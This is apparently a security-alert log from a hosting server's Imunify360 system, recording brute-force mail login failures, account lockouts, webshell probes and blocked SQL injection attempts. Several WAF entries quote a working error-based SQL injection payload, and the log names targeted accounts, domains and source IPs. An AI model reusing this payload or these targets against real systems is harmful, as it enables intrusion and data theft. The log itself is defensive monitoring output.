Feb  1 05:03:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:03:04 dovecot_login authenticator failed for H=(YYwujBdoB) [45.94.31.131]:63413: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:03:05 dovecot_login authenticator failed for H=(dKR5a1Oz) [84.239.7.19]:42270: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:03:14 dovecot_login authenticator failed for H=(yjIn72y6m) [158.94.208.175]:62258: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:04:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:04:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:04:19 dovecot_login authenticator failed for H=(3JuDacrD) [84.239.7.19]:23106: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:04:25 dovecot_login authenticator failed for H=(i18IChJfh) [158.94.208.175]:61836: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 122.187.230.104
country_id: 1269750
description:
Feb  1 05:04:38 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(122.187.230.104)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.104
country_id: 1269750
description:
2026-02-01 05:04:40 dovecot_login authenticator failed for H=(nsg-corporate-104.230.187.122.airtel.in) [122.187.230.104]:58966: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.84.190.134
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activities.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:04:05 dovecot_login authenticator failed for H=(6WgfkFM) [45.94.31.131]:50369: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:04:19 dovecot_login authenticator failed for H=(EvM57piii) [178.16.54.22]:56522: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.82
country_id: 1269750
description:
2026-02-01 05:04:23 dovecot_login authenticator failed for H=(nsg-corporate-82.230.187.122.airtel.in) [122.187.230.82]:52610: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 206.168.34.125
country_id: 6252001
description:
2026-02-01  5:04:36 202092 [Warning] Aborted connection 202092 to db: 'unconnected' user: 'unauthenticated' host: '206.168.34.125' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.128
country_id: 1668284
description:
2026-02-01 05:04:42 dovecot_login authenticator failed for H=([101.13.4.128]) [101.13.4.128]:44464: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.150.147
country_id: 2661886
description:
2026-02-01 05:04:51 dovecot_login authenticator failed for H=h188-122-150-147.cust.bredband2.com [188.122.150.147]:57182: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:05:04 dovecot_login authenticator failed for H=(bXx537E77) [45.94.31.131]:63147: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:05:05 dovecot_login authenticator failed for H=(yvR4pGg) [178.16.54.22]:63828: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:05:12 dovecot_login authenticator failed for H=(F4Uwq6Rs) [158.94.208.175]:60818: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:05:39 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:50444: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:05:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:05:05 dovecot_login authenticator failed for H=(6hE7gw) [84.239.7.19]:21452: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:05:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:05:33 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:06:08 dovecot_login authenticator failed for H=(pVkiLn0) [45.94.31.131]:53367: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:06:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:06:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:06:28 dovecot_login authenticator failed for H=(vSSuG3tCtQ) [45.94.31.131]:58733: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.94.220.9
country_id: 1814991
description:
2026-02-01 05:06:29 dovecot_login authenticator failed for H=([183.94.220.9]) [183.94.220.9]:53126: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:06:16 dovecot_login authenticator failed for H=(xhVB7JW0) [84.239.7.19]:1450: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.227
country_id: 1269750
description:
2026-02-01 05:06:50 dovecot_login authenticator failed for H=([122.187.230.227]) [122.187.230.227]:39044: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:06:14 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:52873: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:06:14 dovecot_login authenticator failed for H=(Lu2rCoY) [178.16.54.22]:61423: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:06:21 dovecot_login authenticator failed for H=(3WzA6thE) [158.94.208.175]:52032: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.31.209.102
country_id: 2017370
description:
2026-02-01 05:06:40 dovecot_login authenticator failed for H=95-31-209-102.broadband.corbina.ru [95.31.209.102]:44669: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:07:22 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56092: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-02-01 05:07:36 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:49242: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:07:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:07:23 dovecot_login authenticator failed for H=(Ffk9h3rw2) [178.16.54.22]:65021: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:07:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:07:08 dovecot_login authenticator failed for H=(FWuVlY7) [158.94.208.175]:52323: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:07:09 dovecot_login authenticator failed for H=(XXhHp7) [45.94.31.131]:52162: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:07:22 dovecot_login authenticator failed for H=(3YQsFZ) [84.239.7.19]:25448: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:08:01 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52200: 535 Incorrect authentication data


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.213.25.189
country_id: 3175395
domain: aire-fresh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/sendto.php||SC:/home/airefresh/public_html/images/sendto.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:08:08 dovecot_login authenticator failed for H=(psRXLsv) [84.239.7.19]:12491: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:08:18 dovecot_login authenticator failed for H=(SAlKVnSH) [158.94.208.175]:51486: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:08:09 dovecot_login authenticator failed for H=(zkmHOHe) [178.16.54.22]:65141: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:08:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.37.179.83
country_id: 3932488
description:
2026-02-01 05:08:17 dovecot_login authenticator failed for H=([200.37.179.83]) [200.37.179.83]:45159: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.245.33.154
country_id: 1562822
description:
2026-02-01 05:08:33 dovecot_login authenticator failed for H=(nhavuivn.com) [210.245.33.154]:48484: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:08:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:08:07 dovecot_login authenticator failed for H=(AmEUzmf) [45.94.31.131]:50732: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-02-01 05:08:30 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:46172: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:08:34 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:09:06 dovecot_login authenticator failed for H=(tgBSnh5O) [158.94.208.175]:53558: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:09:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:09:10 dovecot_login authenticator failed for H=(E6qaudkDj2) [45.94.31.131]:50851: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.225.203.106
country_id: 1814991
description:
2026-02-01 05:09:15 dovecot_login authenticator failed for H=([122.225.203.106]) [122.225.203.106]:30459: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:09:22 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54698: 535 Incorrect authentication data (set_id=test@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.200.42.112
country_id: 1880251
description:
2026-02-01 05:09:26 dovecot_login authenticator failed for H=(bb118-200-42-112.singnet.com.sg) [118.200.42.112]:49332: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 05:09:03 dovecot_login authenticator failed for H=(FouMVJP1) [158.94.208.110]:56711: 535 Incorrect authentication data (set_id=miner_sandy@imax.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:09:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 178.255.41.196
country_id: 798544
domain: feliogroup.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1512 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)----||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:09:26 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50515: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:09:18 dovecot_login authenticator failed for H=(RCsV3J) [178.16.54.22]:54186: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 178.255.41.196
country_id: 798544
domain: feliogroup.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV: and (select 1 from (select count(*), concat((select (select concat(cast(version() as char),0x7e))), floor(rand(0) * 2)) x from information_schema.tables group by x) a)--||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.213.25.189
country_id: 3175395
domain: aire-fresh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/airefresh/public_html/wp-admin||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.181.178.30
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=49351514514756 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:09:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth has been locked for the attacker IP 84.239.7.19


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 178.255.41.196
country_id: 798544
domain: feliogroup.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV: AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:09:20 dovecot_login authenticator failed for H=(lt996Mta) [84.239.7.19]:2892: 535 Incorrect authentication data (set_id=cofreth)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 178.255.41.196
country_id: 798544
domain: feliogroup.com.my
description:
IM360 WAF: PHP Injection Low value||MV: AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/feliogroupcom/public_html/product-details.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:10:09 dovecot_login authenticator failed for H=(aJ2gbyEIB) [45.94.31.131]:51215: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 05:10:15 dovecot_login authenticator failed for H=(uKGV5WrLu) [158.94.208.110]:52046: 535 Incorrect authentication data (set_id=miner_sandy)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:10:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:10:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:10:36 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:56851: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.107.102.154
country_id: 1269750
description:
2026-02-01 05:10:44 dovecot_login authenticator failed for H=(static-154.102.107.27-tataidc.co.in) [27.107.102.154]:43678: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:10:15 dovecot_login authenticator failed for H=(T5N21vlFi6) [158.94.208.175]:57463: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:10:03 dovecot_login authenticator failed for H=(Ix3HVM) [84.239.7.19]:48890: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:10:04 dovecot_login authenticator failed for H=(U3XweKWe) [178.16.54.22]:55226: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-02-01 05:10:51 dovecot_login authenticator failed for H=([103.168.241.32]) [103.168.241.32]:58043: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/demos/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.82.141.145
country_id: 6252001
description:
2026-02-01 05:11:19 dovecot_plain authenticator failed for H=c-68-82-141-145.hsd1.pa.comcast.net (coelis) [68.82.141.145]:40614: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:11:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:11:09 dovecot_login authenticator failed for H=(wW49h24KTs) [84.239.7.19]:14158: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:11:10 dovecot_login authenticator failed for H=(b77kcN) [45.94.31.131]:62682: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:11:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:11:34 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:50594: 535 Incorrect authentication data (set_id=test@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 05:11:01 dovecot_login authenticator failed for H=(ZUfdUka) [158.94.208.110]:59994: 535 Incorrect authentication data (set_id=miner_sandy@imax.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:11:13 dovecot_login authenticator failed for H=(7qc3Chm) [178.16.54.22]:56782: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.249.224.37
country_id: 2661886
description:
2026-02-01 05:11:22 dovecot_plain authenticator failed for H=c83-249-224-37.bredband.tele2.se (umented) [83.249.224.37]:59984: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.135.31.74
country_id: 1522867
description:
2026-02-01 05:11:27 dovecot_plain authenticator failed for H=2.135.31.74.dynamic.telecom.kz (pousnes) [2.135.31.74]:38300: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:11:02 dovecot_login authenticator failed for H=(ADe8dtYZM) [158.94.208.175]:59406: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:12:03 dovecot_login authenticator failed for H=(ZxXilguvbo) [141.98.11.11]:58617: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 05:12:13 dovecot_login authenticator failed for H=(ETr5M2IW) [158.94.208.110]:57089: 535 Incorrect authentication data (set_id=miner_sandy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:12:14 dovecot_login authenticator failed for H=(fb2XJZ7U) [84.239.7.19]:37460: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.224.159.218
country_id: 1814991
description:
2026-02-01 05:12:39 dovecot_login authenticator failed for H=([221.224.159.220]) [221.224.159.218]:56696: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:12:39 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:63383: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:12:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:12:22 dovecot_login authenticator failed for H=(xdeTcAWK9) [178.16.54.22]:50159: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.163.128
country_id: 2186224
description:
2026-02-01 05:12:49 dovecot_login authenticator failed for H=([121.73.163.128]) [121.73.163.128]:34128: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:12:13 dovecot_login authenticator failed for H=(QIUxDHQ) [158.94.208.175]:61324: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:12:14 dovecot_login authenticator failed for H=(D0XSZR) [45.94.31.131]:58422: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:12:39 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:63411: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:12:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
